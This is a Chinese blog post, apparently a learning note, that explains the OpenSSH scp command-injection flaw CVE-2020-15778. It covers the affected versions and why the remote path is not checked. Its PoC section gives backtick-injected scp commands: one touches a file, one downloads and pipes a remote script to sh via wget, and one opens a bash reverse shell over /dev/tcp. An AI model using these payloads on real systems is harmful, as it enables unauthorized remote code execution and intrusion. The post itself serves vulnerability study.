cve-2020-15778 openssh漏洞原理与思考
该漏洞发生在2020年6月9日,在7月18日公开,但是由于原因没有及时的复现。但是网上有好多师傅们进行了复现,于是自己参考他们的文章自己也来学习一下。
漏洞概要
OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。但是前提是真的ssh用户名密码。
openshh介绍
OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。
scp命令简介
scp 是 secure copy 的缩写。在linux系统中,scp用于linux之间复制文件和目录,基于 ssh 登陆进行安全的远程文件拷贝命令。该命令由openssh的scp.c及其他相关代码实现。
影响范围
OpenSSH <= 8.3p1
原理
使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
scp Filename user@host:directory/Filename
在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:
scp -t directory/Filename
问题就出在这个地方,也就是"scp.c"文件的991行,如图。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。
POC
scp ./test.txt test@ip:'`touch /home/tes/test/hack.sh`/home/test/'
这样就在目标机器上面创建一个hack.sh的文件
但是文件内容为空,我们就可以在自己的服务器上面搭建一个shell.sh文件 使用wget命令下载shell.sh然后在执行。从而获得shell
scp ./test2.txt test@ip:'`wget http://yourip/exp.sh -O- | sh`/home/test/'
#反弹shell
scp ./test3.txt test@ip:'`bash -i >& /dev/tcp/自己主见ip/端口 0>&1`/home/test/'
利用环境
要实现该漏洞必须知道ssh用户密码,但是一般来说ssh是阻止连接的,(绑定了ip不需要外部ip进行连接)。这个时候我们就可以利用这个漏洞进行连接。
个人思考
做安全的时候一定不能相信用户的输入。必须对输入的参数进行过滤处理,这样就可以减少一些安全漏洞。
参考链接
https://github.com/cpandya2909/CVE-2020-15778/blob/master/README.md
https://www.bilibili.com/video/BV1WC4y187P5?from=search&seid=719121469429986325
https://www.freebuf.com/vuls/245225.html
https://blog.csdn.net/hardhard123/article/details/107748304

浙公网安备 33010602011771号